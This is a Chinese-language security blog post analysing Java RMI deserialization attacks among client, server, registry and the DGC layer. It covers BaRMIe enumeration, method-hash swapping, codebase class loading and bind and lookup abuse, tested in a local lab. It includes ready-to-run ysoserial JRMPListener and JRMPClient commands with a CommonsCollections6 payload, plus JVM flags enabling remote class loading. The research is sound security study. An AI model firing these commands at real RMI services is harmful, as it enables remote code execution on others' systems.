Java RMI 攻击分析(一)
之前看过Java RMI
的相关介绍以及攻击讲解,但是没有进行系统的梳理,所以这几天主要学习一下RMI
方面的内容,总结一下。
0x00 RMI介绍
Java RMI(Java Remote Method Invocation)
,即Java
远程方法调用。是Java
编程语言里,一种用于实现远程过程调用的应用程序编程接口。JRMP
:Java Remote Message Protocol
,Java
远程消息交换协议。这是运行在Java RMI
之下、TCP/IP
之上的线路层协议。该协议要求服务端与客户端都为Java
编写,就像HTTP
协议一样,规定了客户端和服务端通信要满足的规范。RMI
使用 JRMP
(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC
的一种方式。
一个简单的 RMI
主要由三部分组成,分别是注册端、服务端和客户端。
服务端:
a. 这里定义一个名为 Hello
的接口,其中包含方法sayHello()
。
1 | import java.rmi.Remote; |
b. 实现接口
1 | import java.rmi.RemoteException; |
c. 服务端可以createRegistry
也可以getRegistry
。其中涉及到两个端口,1098
表示当前对象的 stub
端口,可以用 0
表示随机选择;另外一个是 1099
端口,表示 registry
的监听端口。
1 | import java.rmi.registry.LocateRegistry; |
客户端代码如下:
a. 客户端也应该有一个即将调用的接口类
b. 客户端getRegistry
,然后lookup
相应方法然后进行调用
1 | import java.rmi.registry.LocateRegistry; |
放一张RMI
的交互图
0x01 攻击
参与一次 RMI
调用的有三个角色,分别是 Server
端,Registry
端和 Client
端。在上面的 RMI
调用过程中我们可以发现,全部的通信流程均通过反序列化实现,而且在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能,
探测利用开放的RMI服务
我们要调用一个存在危险功能的RMI
服务端需要知道:RMI
对象a
、方法b
、参数c
,即a.b(c)
自然会认为我们作为RMI
客户端向RMI
注册端查询有哪些RMI
服务端,然后再去RMI
服务端查询接口和参数,再根据返回的接口和参数,构造利用就好了。但是RMI
通讯流程,好像压根就没有RMI
客户端向RMI
服务端查询接口(方法和参数)的这一步骤,都是本地写一个一模一样的接口然后直接调用的。
BaRMIe
我们可以使用BaRMIe
工具去探测。工具提供了两种利用模式——enum
枚举模式,attack
攻击模式。
第一步:ep = this._enumerator.enumerateEndpoint(this._target);
作为RMI
客户端向RMI
注册端获取RMI
服务端信息,这里叫做Endpoint
,并分析Endpoint
是RMI
服务端
- 1.
LocateRegistry.getRegistry
获取目标IP
端口的RMI
注册端 - 2.
reg.list()
获取注册端上所有服务端的Endpoint
对象 - 3.使用
reg.unbind(unbindName);
解绑一个不存在的RMI
服务名,根据报错信息来判断我们当前IP是否可以操控该RMI
注册端(如果可以操控,意味着我们可以解绑任意已经存在RMI
服务,但是这只是破坏,没有太大的意义,就算bind
一个恶意的服务上去,调用它,也是在我们自己的机器上运行而不是RMI
服务端) - 4.本地起一个代理用的
RMI
注册端,用于转发我们对于目标RMI
注册端的请求(在RaRMIe
中,通过这层代理用注册端可以变量成payload
啥的,算是一层封装;在这里用于接受原始回应数据,再进行解析) - 5.通过代理服务器
reg.lookup(objectNames[i]);
遍历之前获取的所有服务端的Endpoint
。 - 6.通过代理服务器得到
lookup
返回的源数据,自行解析获取对应对象相应的类细节。(因为直接让他自动解析是不会有响应的类信息的)
至此就获取了如下信息,可以看到会解析出RMI
服务端的类名等等。
如果这些信息都获取成功,就会判定为这个端口是一个注册端。但是实际上你一个根本没开的端口扫描结果也会跟你说是一个RMI
服务接口,随便看看就好了,相当于失败了。
第二步:attacks = RMIAttackFactory.findAttacksForEndpoint(ep);
对于所有Endpoint
(RMI
服务端)进行遍历,再一一调用攻击模块判断是否可以攻击。
把他们根据攻击类型划分如下:
RMI
客户端探测利用RMI
服务:
1 | Axiom |
RMI
客户端反序列化攻击RMI
服务端——利用Object
类型参数(RMI
服务端提供的对象的方法参数有一个是Obejct
类型)
1 | Java |
RMI
服务端攻击RMI
注册端——Bind
类攻击
1 | Java |
以上当然这就有超出了探测利用RMI
服务以外的类型,我们先划分出来。看看调用攻击模块之后做了什么,再回过头一个个分析攻击模块。
第三步:deserPayloads = DeserPayloadFactory.findGadgetsForEndpoint(ep);
对于所有Endpoint
(RMI
服务端)进行遍历,尝试判断是否存在反序列化利用链。
其判断的原理大概是,判断RMI
注册端提供的RMI
服务端的对象class
(如:com.lala.User
)的路径中(不是非常确定?),是否包含存在已知反序列化利用链的jar
包。
这是一个比较不靠谱的判断是否存在反序列化利用链的方法,反正我靶机中服务端有CC
利用链,但是无法探测到。
其中工具中已知反序列化利用链的jar
包类别如下:
1 | CommonsCollectionsPayload |
看看探测利用开放的RMI服务的攻击模块是怎么实现的
4个攻击模块Delete
、List
、Read
、Write
都是针对AxiomSL
这个组件。看一个List
的。
描述:AxiomSL
公开一个对象FileBrowserStub
,它有一个list files()
方法,该方法返回给定目录中的文件列表。
在判断是否存在漏洞时会去判断RMI
服务返回的对象的class
栈中是否存在以下class
路径:
1 | axiomsl.server.rmi.FileBrowserStub |
判断存在该class
路径后,再进行利用;实际利用代码也很简单,就是普通的RMI
服务调用:
1 | //nb.barmie.modes.attack.attacks.Axiom.ListFiles#executeAttack |
那这边也就清楚了,实际上探测利用开放的RMI
服务,根本只是攻击者自己知道有哪些组件会提供危险的RMI
服务。然后根据class
路径去判断对面是否使用了该组件,如果用了就尝试打一打看看成不成功。
假如对面提供了我们一个不认识的RMI
服务,我们是没有能力攻击的。
但是,因为我们没有RMI
服务对象的接口(方法+参数)。就算对面开放了一个Class
名字可疑的服务,我们也没有办法去正确调用它。
可见这种理论存在但是不怎么被人讨论的攻击方法总是有些鸡肋。
客户端攻击服务端
传递恶意参数
在 Client
端获取到 Server
端创建的 Stub
后,会在本地调用这个 Stub
并传递参数,Stub
会序列化这个参数,并传递给 Server
端,Server
端会反序列化 Client
端传入的参数并进行调用,如果这个参数是 Object
类型的情况下,Client
端可以传给 Server
端任意的类,直接造成反序列化漏洞。
例如,远程调用的接口 RemoteInterface
存在一个 sayHello
方法,参数是 Object
类型。
那我们就直接可以传一个反序列化 payload
进去执行,这里我以 CC6
弹计算器为例:
那么如果参数类型不是 Object
类型或者参数不是我们构造payload
的类型,改怎么进行攻击?
首先看一下当Client
端的interface
与Server
端不一致时,会发生什么。Server
端interface
的sayHello
方法参数改成自定义类,将Client
端的interface
中sayHello
方法参数为Object
此时运行,会抛出异常 unrecognized method hash: method not supported by remote object
其实就是在服务端没有找到对应的调用方法。这个找对应方法其实是在 UnicastServerRef
的 dispatch
方法中在 this.hashToMethod_Map
中通过 Method
的 hash
来查找的。这个 hash
实际上是一个基于方法签名的 SHA1 hash
值。
那有没有一种可能,我们传递的是 Server
端能找到的参数是 HelloObject
的 Method
的 hash
,但是传递的参数却不是 HelloObject
而是恶意的反序列化数据(可能是 Object
或其他的类)呢?
答案是可以的,在 mogwailabs
的 PPT 中提出了以下 4 种方法:
- 将 java.rmi 包的代码复制到一个新的包中,并在那里更改代码
- 将调试器附加到正在运行的客户端并在对象序列化之前替换它们
- 使用Javassist 之类的工具更改字节码
- 通过实现代理替换网络流上已经序列化的对象
并且在 PPT
中还给出了 hook
点,那就是动态代理中使用的RemoteObjectInvocationHandler
的 invokeRemoteMethod
方法。BaRMIe
采用第四点也就是代理替换序列化对象,而在attacking-java-rmi-services-after-jep-290
中使用的方法是hook
掉 java.rmi.server.RemoteObjectInvocationHandler
类中的invokeRemoteMethod
,正对应的第二个方法,Afant1
师傅使用了 hook
的方式,在这篇文章里,0c0c0f
师傅通过实现代理替换网络流上已经序列化的对象方式。
debuger测试
Server
端代码不变,我们在 Client
端将 Object
参数和 HelloObject
参数的 sayHello
方法都写上;
调用的时候依旧传入Object
参数。
在 RemoteObjectInvocationHandler
的 invokeRemoteMethod
方法处下断点,观察当前方法的hash
值。
将 Method
改为服务端存在的 HelloObject
的 Method
。
在观察一下此时method
的hash
值,已经变化
继续执行,弹出计算器
注意:debug
时,要观察当前method
是不是要修改的method
,是的话就修改method = RemoteInterface.class.getDeclaredMethod("sayHello",HelloObject.class)
,不是就在上一条语句打断点继续调试观察。
在Server
端的sun.rmi.server.UnicastServerRef#dispatch
下断点
化简一下大概流程
1 | //var4是传入的Method hash 拿到对应的method |
this.unmarshalParameters
最后会走到sun.rmi.server.UnicastRef#unmarshalValue
可以看到,除了基础数据类型,其他的类型均会调用 readObject
进行反序列化,甚至原本 String
类型的参数也会走 readObject
反序列化,那么结合之前的替换手段,总结起来就是:Server
端的调用方法存在非基础类型的参数时(在u242
之前,String
类也是直接调用的readObject
),就可以被恶意 Client
端传入恶意数据流触发反序列化漏洞Integer
参数也是可以利用的。Integer
是int
的封装类,不是一个基本类,实际上Integer.TYPE
不是Integer
类是基础类int
,Integer !=int
,不是基础类
BaRMIe中3.通过非法的方法调用进行反序列化攻击
是通过使用 TCP
代理在网络级别修改方法参数来实现这一点。
Afant1/RemoteObjectInvocationHandler复现
afanti
师傅用的是通过RASP hook
住java.rmi.server.RemoteObjectInvocationHandler
类的InvokeRemoteMethod
方法的第三个参数非Object
的改为Object
的gadget
。
我启动了一个服务器,具体内容如下:
在另一个路径启动包含RemoteObjectInvocationHandler
的Client
,使用的payload
是CC6withHashMap
。
后面就在VM option处设置启动参数即可。
Client端正常报错
服务器反弹shell,判断路径是Server端反弹来的shell
动态类加载
RMI
有一个重要的特性,就是动态类加载机制,当本地 ClassPath
中无法找到相应的类时,会在指定的 codebase
里加载 class
。这个特性在 6u45/7u21
之前都是默认开启的。
为了能够远程加载目标类,需要 Server
加载并配置 SecurityManager
,并设置 java.rmi.server.useCodebaseOnly=false
。Server
端调用 UnicastServerRef
的 dispatch
方法处理客户端请求,调用 unmarshalParameters
方法反序列化客户端传来的参数。
反序列化过程由 RMI
封装类 MarshalInputStream
来实现,会调用 resolveClass
来解析 Class
。
首先通过 this.readLocation()
方法读取流中序列化的 java.rmi.server.codebase
地址,这部分信息是 Client
端传来的,然后判断 this.useCodebaseOnly
的值必须为 false
,最后调用 RMIClassLoader.loadClass()
方法加载类,这部分实际上是委托 sun.rmi.server.LoaderHandler
来实现的,最终调用 loadClassForName
方法,通过 Class.forName()
传入自定义类加载器 LoaderHandler$Loader
来从远程地址加载类。LoaderHandler$Loader
是 URLClassLoader
的子类。
无论 Server
端还是 Client
端,只要有一端配置了 java.rmi.server.codebase
,这个属性都会跟随数据流在两端流动。
因此 Client
端可以通过配置此项属性,并向 Server
端传递不存在的类,使 Server
端试图从 java.rmi.server.codebase
地址中远程加载恶意类而触发攻击。
测试:Server
加载并配置 SecurityManager
1 | if (System.getSecurityManager() == null) { |
设置server.policy
1 | grant { |
在IDEA
中设置VM option
或设置命令行启动参数:-Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=/path/server.policy
启动
远程服务器:
保存恶意class
文件,开启http
服务
注意,为了避免报错恶意类要设置serialVersionUID
client
端在IDEA
中设置VM option
或设置命令行启动参数:-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://localhost:9999/
注意测试时注意接口类包名问题
启动
可以看一下远程服务器接收到请求了
服务端弹出计算器
替身攻击
在讨论对 Server
端的攻击时,还出现了另外一种针对参数的攻击思路,su18
称为替身攻击。依旧是用来绕过当参数不是 Object
,是指定类型,但是还想触发反序列化的一种讨论。
大体的思路就是调用的方法参数是 HelloObject
,而攻击者希望使用 CC
链来反序列化,比如使用了一个入口点为 HashMap
的 POC
,那么攻击者在本地的环境中将 HashMap
重写,让 HashMap
继承 HelloObject
,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI
的校验机制。
这的确是一种思路,但是还不如 hook RMI
代码修改逻辑来得快,所以这里不进行测试。
服务端攻击客户端
客户端主要有两个交互行为,第一是从 Registry
端获取调用服务的 stub
并反序列化,这步可以进行注册中心攻击客户端;第二是调用服务后获取执行结果并反序列化,这步可以进行服务端攻击客户端。
方式有以下两种:
- 恶意
Server
端返回值 - 动态类加载
恶意 Server 端返回值
同攻击 Server
端的恶意服务参数,Server
端返回给 Client
端恶意的返回值,Client
端反序列化触发漏洞。Server
端RemoteObject#evil
返回恶意的HashMap
Client
端调用这个方法,接收恶意返回值,触发漏洞。
动态类加载
同攻击 Server
端的动态类加载,Server
端返回给 Client
端不存在的类,要求 Client
端去 codebase
地址远程加载恶意类触发漏洞,不再赘述。
服务端与客户端攻击注册中心
服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。
这里的Server
端其实是相对Registry
来说的,所以在这里,客户端和服务端都可以称为Server
端。
bind() & rebind()
在使用 Registry
时,首先由 Server
端向 Registry
端绑定服务对象,这个对象是一个 Server
端生成的动态代理类,Registry
端会反序列化这个类并存在自己的 RegistryImpl
的 bindings
中,以供后续的查询。所以如果我们是一个恶意的 Server
端,向 Registry
端输送了一个恶意的对象,在其反序列化时就可以触发恶意调用。
可以看到这里我依旧是用了 CC6
,因为 bind
的参数是需要是 Remote
类型的,所以这里使用了 AnnotationInvocationHandler
来代理了 Remote
接口,形成了反序列化漏洞。AnnotationInvocationHandler
本身实现了InvocationHandler
接口,再通过代理类封装可以进行类型转换。又因为反序列化存在传递性,当remote
被反序列化时,invocationHandler
也会被反序列化,自然也会执行poc
链。
这里需要 Registry
端具有相应的依赖及相应 JDK
版本需求,我是使用的是JDK1.8.0_05
。
使用高版本测试时,会报异常,
这个攻击手段实际上就是 ysoserial
中的 ysoserial.exploit.RMIRegistryExploit
的实现原理。
除了 bind
,rebind()
也可以这样利用。但是lookup
和unbind
只有一个String
类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。。也就是说,Server
端和 Client
端都可以攻击 Registry
端。
unbind & lookup
unbind
的利用方式跟lookup
是一样的。这里以lookup
为例。
注册中心在处理请求时,是直接进行反序列化再进行类型转换
但是注意,RMI Registry
也会返回数据,然后lookup
的发送方会对数据进行了反序列化,此时会形成反制
如果我们要控制传递过去的序列化值的话,不能直接传递给lookup
这个方法,因为它的参数是一个String
类型。但是它发送请求的流程是可以直接复制的,只需要模仿lookup
中发送请求的流程,就能够控制发送过去的值为一个对象。
1 | public class Client { |
新建Project
写入Client
,反弹shell
,并查看PWD
,测试成功。
虽然抛出异常,提示无法转成String
,但依旧可以反弹shell
注册中心攻击服务端与客户端
Client
端在 Registry
端 lookup
后会拿到一个 Server
端注册在 Registry
端的代理对象并反序列化触发漏洞。
可以用ysoserial
生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用。
1 | java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' |
除了list()
之外,其余的操作也可以进行利用:
1 | list() |
攻击DGC
DGC(distributed garbage-collection,分布式垃圾回收)
是指JAVA支撑远程方法调用设计的一套分布式垃圾收集协议。RMI
定义了一个 java.rmi.dgc.DGC
接口,提供两个方法,一个是dirty
,一个是clean
具体的来说
- 客户端在调用远程方法时,首先会向服务端发起一次
dirty call
,以通知服务端短时间内不要回收对应的远程对象 - 服务端返回给客户端一个
lease
,该对象告诉了客户端接下来多久的时间内该对象是有效的。如果客户端在时间到期后还需要使用该对象,则需要继续调用dirty call
; DGCClient
会跟踪每一个dirty call
对应的liveRef
,当他们在客户端已经不再有效后,就会发起clear call
告诉服务端可以回收有关对象了
这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl
以及 sun.rmi.transport.DGCImpl_Stub
,同时还定义了 sun.rmi.transport.DGCImpl_Skel
。
很像 Registry
、RegistryImpl
、RegistryImpl_Stub
、RegistryImpl_Skel
,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub
与 Skel
之间的通信模式:Server
端启动 DGCImpl
,在 Registry
端注册 DGCImpl_Stub
,Client
端获取到 DGCImpl_Stub
,通过其与 Server
端通信,Server
端使用 RegistryImpl_Skel
来处理。
可以在 Server
端的 ObjectTable
中找到由 Target
封装的 DGCImpl
,在 Registry
端的 ObjectTable
中找到由 Target
封装的 DGCImpl_Stub
。DGC
通信的处理类是 DGCImpl_Skel
的 dispatch
方法,依旧通过 Java
原生的序列化和反序列化来处理对象。
看到这里就明白了,伴随着 RMI
服务启动的 DGC
通信,也存在被 Java
反序列化利用的可能。我们只需要构造一个 DGC
通信并在指定的位置写入序列化后的恶意类即可。
由于 DGC
通信和 RMI
通信在 Transport
层是同样的处理逻辑,只不过根据 Client
端写入的标记来区分是由 RegistryImpl_Skel
还是 DGCImpl_Skel
来处理,因此我们可以使用 DGC
来攻击任意一个由 JRMP
协议监听的端口,包括 Registry
端监听端口、RegistryImpl_Stub
监听端口、DGCImpl_Stub
监听端口。
不过由于后两者的端口号是随机的,因此通常使用 DGC
层来攻击 Registry
端。
这个攻击手段实际上就是 ysoserial
中的 ysoserial.exploit.JRMPClient
的实现原理。
ysoserial.exploit.JRMPClient
利用RMI
的JRMP
协议发送恶意的序列化包攻击示例,采用Socket
协议发送序列化数据,不会反序列化RMI
服务器端的数据,这样能有效防止反制
注意:
网上的文章讲到RMI
的DGC
层,经常总结说到:是为了绕过RMI
注册端jdk8u121
后出现的白名单限制才出现的。
这也是对的,但是也不是完全对。在开始前我们需要区分:ysoserial的payload JRMPClient
是为了绕过jdk8u121
后出现的白名单限制。这利用到了DGC
层,所以上面句话也是对的。ysoserial的exploit JRMPClient
是可以直接利用DGC层攻击RMI
注册端的,其基础原理跟ysoserial-RMI-RegistryExploit
几乎是一样的。同时这种攻击方式是绕过不过jdk8u121
的。
测试:
使用ysoserial
的exploit JRMPClient
攻击DGC
服务端
开启服务端
启动ysoserial
1 | java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator" |
总结
探测利用开放的RMI服务
实际上就是蒙,赌它有这些漏洞RMI
服务。
RMI客户端反序列化攻击RMI服务端
不一定是要Object
类型的接口才行,只要不是基本类型的参数都可以利用。
RMI服务端反序列化攻击RMI注册端
RMI
服务端利用bind
攻击注册端的时候,找各种办法把payload
变成remote
接口这个举动是非必须的,注册端反序列化触发压根不校验。只是为了exp
实现而已。
在将payload
变成remote
接口的过程中,利用到动态代理,但是压根没有利用到动态代理的”拦截器特性”,只是利用了动态代理可以将任意对象转化接口形式的特性。
在8u141
之后,在利用bind
等服务端对于注册端发起的操作时,会因为注册端对于服务端有地址验证而失效。
利用lookup
操作,作为客户端对于注册端发起请求,可以绕过上面的地址验证。
其实对于RMI
来说,任意一端都可以相互攻击,需要结合实际环境进行攻击。
ysoser
服务端与客户端攻击注册中心(使用了 AnnotationInvocationHandler
来代理了 Remote
接口,形成了反序列化漏洞。)
1 | ysoserial.exploit.RMIRegistryExploit |
注册中心攻击服务端与客户端
1 | java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' |
利用DGC
层攻击RMI
注册端
1 | java -cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "/System/Applications/Calculator.app/Contents/MacOS/Calculator" |
贴一张啦啦0咯咯师傅的RMI
反序列化攻击总结图
⚠️测试的时候注意本地接口要和远端的接口保持一致,包括报名!!!
⚠️测试的时候记得关闭代理,避免不必要的影响
工具
BaRMIe
RemoteObjectInvocationHandler
ysoserial.exploit.RMIRegistryExploit
ysoserial.exploit.JRMPListener
ysoserial.exploit JRMPClient
remote-method-guesser
lalajun / RMIDeserialize
STMCyber / RmiTaste Public
Reference
http://tttang.com/archive/1430/
https://xz.aliyun.com/t/7930
https://www.anquanke.com/post/id/228918
https://xz.aliyun.com/t/8706
https://www.anquanke.com/post/id/200860